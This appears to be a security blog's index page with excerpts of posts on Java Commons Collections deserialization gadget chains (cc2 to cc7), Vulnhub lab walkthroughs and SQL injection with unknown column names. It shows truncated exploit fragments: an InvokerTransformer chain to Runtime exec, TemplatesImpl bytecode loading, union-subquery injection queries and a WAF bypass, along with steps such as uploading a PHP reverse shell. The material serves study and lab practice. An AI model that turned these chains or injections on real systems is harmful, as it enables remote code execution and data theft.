cc链7
环境准备和cc1一样 分析我们先来看一下hashtable这个类的readobject方法 调用了reconstitutionPut方法,跟进一下, 我们需要调用equals,这里肯定要满足两个key了,并且两个lazymap的hashcode还必须相等然后调用lazymap的equals,他没有,那就找他的父类AbstractMapDecorator, 这就调用了map的equals了,如果你的lazymap构造的时候用的是一个hashmap,那就会调用了hashmap的equals,依旧没有,那就找他的父类, 在这里就调用了get,这样就到了这里,然后就是绕过的点了 前面已经讲了要两个LazyMap的hashcode相等,使用即可 12lazymap1.put("yy",1);lazymap2.put("zZ",1); 然后会lazymap2会多一个yy=yy,不会调用transform了,所以要移除掉,加个remove就行了。 要先传一个空的transform,防止put调用equals,提前执行。然后在用反射...
cc链4
环境准备和cc链2一个环境 分析cc链4就是cc3和cc2的结合(个人认为)直接贴exp了 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparat...
cc链5
环境准备和cc1一样 分析尾部的命令执行部分,和cc链1一样 123456789101112Class c = Runtime.class; Transformer[] T = { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new...
cc链3
环境准备我用的cc1的环境 分析cc链3主要使用的是任意类的加载作为尾部实现攻击,使用的是TemplatesImpl的defineTransletClasses方法中调用的defineClass(TransletClassLoader是Templates类的副类而它的父类正好就是ClassLoader),这边对defineClass的调用正好就是对父类defineclass的调用。 注意点: 这是一个全新的方法,不算重写(个人理解),后面的才是一个调用父类defineclass方法的函数。 然后找谁调用defineTransletClasses方法,是getTransletInstance这个方法,这个方法中有一个参数要控制一下 _name不能为空,_class必须要为空,在找谁调用了getTransletInstance,是newTransformer方法 这个属性要传参,就会报错出问题,怎么解决呢? 给它这个值即可。 然后是_bytecodes这个属性,是一个二维的,这里我们让一维byte等于恶意类的字节码,然后再以数组的形式套上一层。 12byte[] b = Fi...
WestWild
信息收集 扫描出靶机 扫描端口号 漏洞扫描 目录扫描 渗透过程我们在信息收集中对端口扫描时发现了445端口,开启了SMB协议。 可能存在共享目录,可以枚举用户和查找共享文件(工具:enum4linux) 1enum4linux 192.168.213.134 这里有一个共享文件,我们尝试访问 空密码 我们把文件get到本地查看 含有flag1和用户名与密码,上述信息收集中有22端口开放,尝试连接一下 权限不够,尝试提权 找具有写的权限的文件 发现可执行文件 又一组账号密码,登陆看看 爽遭了。 结束
cc链2
环境准备依赖 12345678910111213<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </depende...
Me_and_My_girlfriend
环境准备https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 靶机下载,然后和Hackademic.RTB1一样就行 复现 扫一下,发现靶机 开放ssh 22端口 xff伪造一下,在bp里配置一下规则试每次发包都含有xff的伪造 在内置浏览器就可以访问了 随便注册一个然后进行登陆 可以测试一下 泄露了用户名和密码,我们猜测此用户名和密码和ssh远程登陆的用户名和密码有关 尝试登陆,id为5可以登陆成功 拿到flag1 然后进行信息收集 php提权, 进入root得到flag2
Hackademic.RTB1靶场复现
环境准备靶场地址,直接下来搭建就行 https://www.vulnhub.com/entry/hackademic-rtb1,17/ 然后用kali进行攻击 这边可以选择NAT,打开就行,不许要知道账号密码 复现扫描到这个靶场 信息收集找到 wordpress我们可以搜索一下有什么漏洞 这边有sql注入,我们可以测试一下 存在注入点,我们使用sqlmao去跑 账户和密码 扫一下目录 然后我们一个一个试一下 会发现admin是GeorgeMiller q1w2e3 然后我们可以更改上传文件后缀名,然后点更新,有一个上传口(注意左上角要点) 写个反弹shell的php文件,上传getshell 这里传的是shell1.php文件哈 信息收集发现权限低,在去找找漏洞看看有没有内核提权 下载到本地,开一个web服务 访问下载过来 编译成可执行文件 执行 提权成功
cc链6
环境准备因为cc链6和cc1的尾部相同只是触发的起点不同,所以我使用的是cc1的环境 分析这次我们从按着代码顺序来逐步分析 第一步123456789Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})...
sql-未知列名的注入
参考https://www.jianshu.com/p/6eba3370cfab 未知列名查询1.正常下我们是查询到以下情况 2.当我们结合到union的方法时 1select 1,2,3 union select * from users; 3.然后我们就可以使用数字来对应列了,例如3对应表里的pass 1select `3` from (select 1,2,3 union select * from users)a; 这边解释一下为什么要加a,加上a类似于 1select `3` from (select 1,2,3 union select * from users) as a; 我们在查询时from后面要有一个名称,而我们上述的作用就是将()里的子查询命名为a,这样才可以查询到3的列。 4.当`被waf掉时,我们可以使用别名的方法绕过 1select b from (select 1,2,3 as b union select * from users) as a; 5.查询多个列时 1select group_concat(`2`,0x3a,`...
